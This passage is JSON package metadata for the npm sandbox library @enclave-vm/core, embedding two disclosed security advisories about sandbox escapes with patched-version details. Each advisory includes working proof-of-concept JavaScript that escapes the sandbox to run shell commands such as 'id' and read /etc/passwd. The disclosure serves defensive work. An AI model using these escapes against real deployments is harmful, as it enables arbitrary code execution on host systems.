ull,"docker_downloads_count":null,"average":19.689161492905708},"purl":"pkg:npm/%40enclave-vm/core","advisories":[{"uuid":"GSA_kwCzR0hTQS1mMjI5LTM4NjItNDk0Ms4ABS0m","url":"https://github.com/advisories/GHSA-f229-3862-4942","title":"@enclave-vm/core is vulnerable to Sandbox Escape","description":"## Summary\n\nIt is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).\n\nThe issue has been fixed in version **2.11.1**.\n\n---\n\n## Details\n\nIt is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.\n\nWhen a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.\n\nWhen this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).\n\n---\n\n## Proof of Concept\n\n### PoC 1\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"SECURE\",\n  toolHandler: () =\u003e {},\n});\n\nconst result = enclave.run(`\nconst op = {}[[\"__proto__\"]];\nconst ho = op[[\"constructor\"]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nreturn {\n  res: glob.__host_memory_track__.value[[\"constructor\"]](\"return process\")()\n    .getBuiltinModule(\"child_process\")\n    .execSync(\"id\")\n    .toString()\n    .split(\"\\\\n\"),\n};`);\n\nresult\n  .then((v) =\u003e console.log(\"success\", v))\n  .catch((e) =\u003e console.log(\"failure\", e));\n```\n\n---\n\n### PoC 2\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"STRICT\",\n  toolHandler: () =\u003e {},\n  memoryLimit: 0,\n});\n\nconst result = enclave.run(`\nconst op = {}[['__proto__']];\nconst ho = op[['constructor']];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nconst sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');\n\nlet result;\nconst obj = {\n  [sym]: (depth, option, inspect) =\u003e {\n    result = inspect[['constructor']]\n      [['constructor']]('return process')()\n      .getBuiltinModule('child_process')\n      .execSync('id')\n      .toString();\n  },\n};\n\nglob.__safe_console.value.log(obj);\nreturn { result }\n`);\n\nresult\n  .then((v) =\u003e console.log(\"success\", v))\n  .catch((e) =\u003e console.log(\"failure\", e));\n```\n\n---\n\n## Impact\n\nThis vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.\n\nThis constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.\n\n---\n\n## Remediation\n\nThe issue has been fixed in **v2.11.0** with the following hardening measures:\n\n* Strengthened intrinsic object isolation\n* Improved console isolation\n* Hardened host callback exposure paths\n* Closed AST validation gaps\n* Added additional defensive checks around constructor access and prototype traversal\n\nAll known escape paths demonstrated in the PoCs are now blocked.\n\nUsers are strongly advised to upgrade to **v2.11.1** or later immediately.\n\n---\n\n## Credit\n\nEnclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-02-25T17:26:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942","https://nvd.nist.gov/vuln/detail/CVE-2026-27597","https://github.com/agentfront/enclave/commit/09afbebe4cb6d0586c1145aa71ffabd2103932db","https://github.com/advisories/GHSA-f229-3862-4942"],"source_kind":"github","identifiers":["GHSA-f229-3862-4942","CVE-2026-27597"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-25T18:00:08.696Z","updated_at":"2026-09-07T05:03:52.256Z","epss_percentage":0.00878,"epss_percentile":0.56708,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mMjI5LTM4NjItNDk0Ms4ABS0m","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mMjI5LTM4NjItNDk0Ms4ABS0m","packages":[{"ecosystem":"npm","package_name":"@enclave-vm/core","versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c= 2.10.1"}],"purl":"pkg:npm/%40enclave-vm%2Fcore"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mMjI5LTM4NjItNDk0Ms4ABS0m/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14Mzl3LTh2bTUtNW0zcM4ABR_K","url":"https://github.com/advisories/GHSA-x39w-8vm5-5m3p","title":"Sandbox escape via infinite recursion and error objects","description":"**Note:** The npm package has moved to `@enclave-vm/core` (formerly `enclave-vm`).  \nAll fixed versions and guidance refer to `@enclave-vm/core`.\n\n### Summary\nThe existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.\n\n### Details\nThere is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.\n\n### PoC\nThe following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.\n\n```js\nimport { Enclave } from 'enclave-vm';\n\n// Create enclave with a tool handler\nconst enclave = new Enclave({\n  timeout: 5000,\n  maxToolCalls: 10,\n  maxIterations: 1000,\n  toolHandler: async (toolName, args) =\u003e {\n    // Your tool execution logic\n    return { success: true, data: `Called ${toolName}` };\n  },\n});\n\n// Execute AgentScript code\nconst result = await enclave.run(`\nlet res = null, rootProt = null;\nlet a = () =\u003e{\ntry {\n  a();\n} catch (e) {\n  rootProt = e[[\"__proto__\"]][[\"__proto__\"]][[\"__proto__\"]];\n  res=e.stack\n}\n}\na();\nrootProt[[\"foo\"]] = rootProt[[\"toString\"]][[\"constructor\"]]  \nrootProt[[\"foo\"]](\"let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawn_sync').spawn(options).output[1].toString())\")();\n`);\n\n```\n### Impact\nSandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-02-05T17:49:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.4,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","references":["https://github.com/agentfront/enclave/security/advisories/GHSA-x39w-8vm5-5m3p","https://github.com/agentfront/enclave/commit/2fcf5da81e7e2578ede6f94cae4f379165426dca","https://nvd.nist.gov/vuln/detail/CVE-2026-25533","https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf","https://github.com/advisories/GHSA-x39w-8vm5-5m3p"],"source_kind":"github","identifiers":["GHSA-x39w-8vm5-5m3p","CVE-2026-25533"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-05T18:00:08.500Z","updated_at":"2026-09-07T05:04:04.426Z","epss_percentage":0.00239,"epss_percentile":0.14891,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Mzl3LTh2bTUtNW0zcM4ABR_K","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14Mzl3LTh2bTUtNW0zcM4ABR_K","packages":[{"ecosystem":"npm","package_name":"@enclave-vm/core","versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"\u003c 2.10.1"}],"purl":"pkg:npm/%40enclave-vm%2Fcore"},{"ecosystem":"npm","package_name":"enclave-vm","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 2.7.0"}],"purl":"pkg:npm/enclave-vm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Mzl3LTh2bTUtNW0zcM4ABR_K/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@enclave-vm/core","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@enclave-vm/core","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@enclave-vm/core/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-28T13:57:47.125Z","issues_count":2,"pull_requests_count":14,"avg_time_to_close_issue":2531724.0,"avg_time_to_close_pull_request":26481.785714285714,"issues_closed_count":1,"pull_requests_closed_count":14,"pull_request_authors_count":3,"issue_authors_count":1,"avg_comments_per_issue":0.0,"avg_comments_per_pull_request":1.0,"merged_pull_requests_count":13,"bot_issues_count":2,"bot_pull_requests_count":5,"past_year_issues_count":2,"past_year_pull_requests_count":14,"past_year_avg_time_to_close_issue":2531724.0,"past_year_avg_time_to_close_pull_request":26481.785714285714,"past_year_issues_closed_count":1,"past_year_pull_requests_closed_count":14,"past_year_pull_request_authors_count":3,"past_year_issue_authors_count":1,"past_year_avg_comments_per_issue":0.0,"past_year_avg_comments_per_pull_request":1.0,"past_year_bot_issues_count":2,"past_year_bot_pull_requests_count":5,"past_year_merged_pull_requests_count":13,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/agentfront%2Fenclave/issues","maintainers":[{"login":"alexmercerpo","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexmercerpo"}],"active_maintainers":[{"login":"alexmercerpo","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexmercerpo"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@enclave-vm%2Fcore/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@enclave-vm%2Fcore/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@enclave-vm%2Fcore/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@enclave-vm%2Fcore/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@enclave-vm%2Fcore/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@enclave-vm%2Fcore/codemeta","maintainers":[{"uuid":"davidfrontegg","login":"davidfrontegg","name":null,"email":"david@frontegg.com","url":null,"packages_count":54,"html_url":"https://www.npmjs.com/~davidfrontegg","role":null,"created_at":"2026-02-11T23:16:25.521Z","updated_at":"2026-02-11T23:16:25.521Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/davidfrontegg/packages"}]}